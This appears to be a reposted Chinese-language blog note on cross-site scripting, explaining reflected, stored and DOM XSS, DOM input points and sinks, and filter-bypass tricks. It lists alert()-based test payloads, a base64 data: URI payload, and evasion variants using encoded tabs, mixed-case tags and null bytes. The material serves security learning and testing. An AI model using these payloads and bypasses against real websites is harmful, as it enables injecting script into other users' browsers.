zoukankan      html  css  js  c++  java
  • XSS(一)

    xss

    非持久型xss攻击:非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

    持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

    反射型存储型DOM型

    常用测试代码:

    onmouseover="alert(xss);"
    
    <script>alert(xss);</script>
    
    <a href="javascript:alert(xss);">xss</a>
    
    <img onerror="alert(xss);" src=>
    

    主要原理:闭合标签,构造恶意代码

    输入用户可构造,比如搜索框,评论留言区,注册名字,联系方式等,同时页面里经常会有hidden属性的input,这时直接burp抓包改就可以了,隐藏属性不好点击,可用以下代码 不同浏览器实现的快捷键方式不同,并且可能和其它快捷方式冲突

    accesskey="X" onclick="alert(xss)"

    DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显

    页面跳转通过JS跳转,使用location.href、location.replace()、location.assign(),可以通过javascript伪协议执行JS脚本

    DOM XSS输入点

    Location 当前网页的URL地址
    window.name 当前网页 tab 的名字,它被不同的网站赋值,也就是说这个网页为window.name 赋值后再跳转到其它网站,window.name 的值依然不变
    document.title 是当前网页的标题,可以在搜索框输入控制它的内容
    document.referer 表示来路,表示从哪个网页URL访问过来的
    postMessage 是HTML5 的一种跨域机制,但很多时候开发者没有正确的做来源检测,会导致 DOM XSS 的发生
    location 它触发 JS 通常是以跳转到 JS URI 的方式执行
    eval 是JS 内置的动态JS执行器
    innerHTML 能为一个网页元素赋值
    document.write 可以输出一个页面流
    Function 能通过函数生成一个函数,可以传入动态JS代码
    setTimeout 会延时执行JS代码
    setInterval 表示循环执行 JS 代码
    xss编码绕过

    有时网站对输入字符进行了过滤,此时可以通过编码来进行绕过
    原理:URL 请求时会对百分号等 URL 的编码方式进行转码;浏览器接收到页面数据后,会对 HTML 实体编码进行转码;执行 JS 时会对 JSUnicode 等 JS 支持的方式进行转码。

    url编码 %+16进制数字 https://www.w3school.com.cn/tags/html_ref_urlencode.html
    
    url base64编码 data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk7PC9zY3JpcHQ+
    
    html编码  '&' + '约定名称' + ';' 的形式,其实还有 '&#' + '十进制数字' + ';' 和 '&#x' + '十六进制数字' + ';'   十进制和十六进制后面的;可以省略
    
    JS Unicode 编码
    规则是 'u' + '四位十六进制数字'
    jsfuck https://www.bugku.com/tools/jsfuck/
    
    在script标签钟插入一个空格或者是tab
    <script >alert(1)</script>
    <script    >alert(1)</script>
    
    也可以对tab,换行,回车进行编码来绕过
    <script&#9>alert(1)</script>
    <script&#10>alert(1)</script>
    <script&#13>alert(1)</script>
    
    对标签进行大小写
    <ScRipT>alert(1)</sCriPt>
    
    插入null字节,在xss payload的任何地方插入null字节,有时候可以绕过filter
    <%00script>alert(1)</script>
    <script>al%00ert(1)</script>
    

    对于ie版本小于10的 html属性支持反引号` 可用其来闭合双引号,从而绕过htmlspecialchars()

    参考来源:https://www.jianshu.com/p/13f0b9a15e46

  • 相关阅读:
    web工程导入新环境的注意事项
    Mysql group by,order by,dinstict优化
    Dijkstra and Floyd算法
    百度面试题
    腾讯面试题
    百度笔试3
    百度笔试2
    百度笔试1
    百度2011实习生招聘笔试题
    百度2011.10.16校园招聘会笔试题
  • 原文地址:https://www.cnblogs.com/GH-D/p/11613986.html
Copyright © 2011-2022 走看看